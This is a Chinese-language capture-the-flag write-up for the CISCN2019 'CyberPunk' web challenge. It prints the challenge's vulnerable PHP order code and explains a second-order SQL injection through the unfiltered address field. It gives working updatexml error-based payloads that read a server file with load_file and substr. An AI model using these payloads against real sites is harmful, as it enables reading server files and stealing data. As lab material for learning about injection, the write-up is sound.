[CISCN2019 华北赛区 Day1 Web5]CyberPunk
文章目录
- [CISCN2019 华北赛区 Day1 Web5]CyberPunk
- 掌握知识
- 解题思路
- 代码分析
- paylaod的构建
- 正式解题
- 关键paylaod
掌握知识
php
伪协议读取文件;源码泄露hint
;代码审计 发现二次注入点;SQL语句的二次注入和报错注入结合使用。报错注入进行文件读取操作;substr
函数配合报错注入输出固定长度和范围的数据
解题思路
- 打开题目链接,发现是购买东西的,发现每个界面都有输入框,感觉SQL注入没跑了,查看一下源码,发现有
hint
,提示file=
这不妥妥的文件包含么,包含flag
没有,只能伪协议读取index.php
了
- 解密出来也没发现什么,也尝试包含了很多文件也未果,只能去包含靶场能看到的三个文件了,解密后发现了
config.php
文件,查看其内容后发现是数据库配置。再加上每个界面SQL语句过滤和nosql
漏洞 那更加确定就是SQL注入了
- 对每个页面的代码进行审计,关键点在两个网页上,一个是订单提交页面,一个是订单修改页面。代码审计发现,
waf
对于用户名和电话过滤很严格,但是对于地址几乎可以说不过滤。提交订单的后端代码,就没有对地址提交的数据进行任何过滤直接保存到数据库中。在更改信息的界面,又将前面保存在数据库中的地址信息直接拼接到数据库更新语句中,很明显存在二次注入。
<?php
//confirm.php
require_once "config.php";
//var_dump($_POST);
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$address = $_POST["address"];$phone = $_POST["phone"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){$msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if($fetch->num_rows>0) {$msg = $user_name."已提交订单";}else{$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";$re = $db->prepare($sql);$re->bind_param("sss", $user_name, $address, $phone);$re = $re->execute();if(!$re) {echo 'error';print_r($db->error);exit;}$msg = "订单提交成功";}
} else {$msg = "信息不全";
}
?>
//change.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$address = addslashes($_POST["address"]);$phone = $_POST["phone"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){$msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];$result = $db->query($sql);if(!$result) {echo 'error';print_r($db->error);exit;}$msg = "订单修改成功";} else {$msg = "未找到订单!";}
}else {$msg = "信息不全";
}
?>
代码分析
- 对关键的代码进行分析,下面是订单提交的代码,并没有对地址信息进行任何过滤,直接将其存入到了数据库当中
$address = $_POST["address"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone))$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
- 下面是订单修改的代码,虽然对输入的订单信息进行了一点小过滤,但是关键点不在这里,下面的数据库更新语句没有对之前存入的数据进行过滤,直接进行拼接到了SQL语句上,很显然的二次注入利用。
$address = addslashes($_POST["address"]);
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
paylaod的构建
-
整体的利用思想就是构造好
paylaod
,在订单提交界面传给地址保存到数据库,在修改订单信息,将传入的paylaod
拼接到SQL语句中,进行恶意利用执行 -
由于是数据库的更新语句,所以只好利用报错注入了。因为借助了
wp
,所以看都是直接使用load_file
读取的flag
文件,所以也就没有尝试报错注入数据库中的数据了 -
编写相应的
paylaod
,由于报错注入返回长度有限,需要借助substr mid
等函数的截断输出,控制输出的长度和范围
1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30))),1)#
1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60))),1)#
正式解题
- 按照前面分析的思路,先填写好订单信息,将
paylaod
填写到地址栏,提交之后进行更改订单信息,输入正确的用户名和电话才能得到传入的paylaod
。提交之后就会弹出前半段的flag
- 获取后半段的
flag
需要再重新创建一个订单信息,步骤和上面一样,就能返回后半段的flag
了
关键paylaod
1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30))),1)#
1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60))),1)#$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];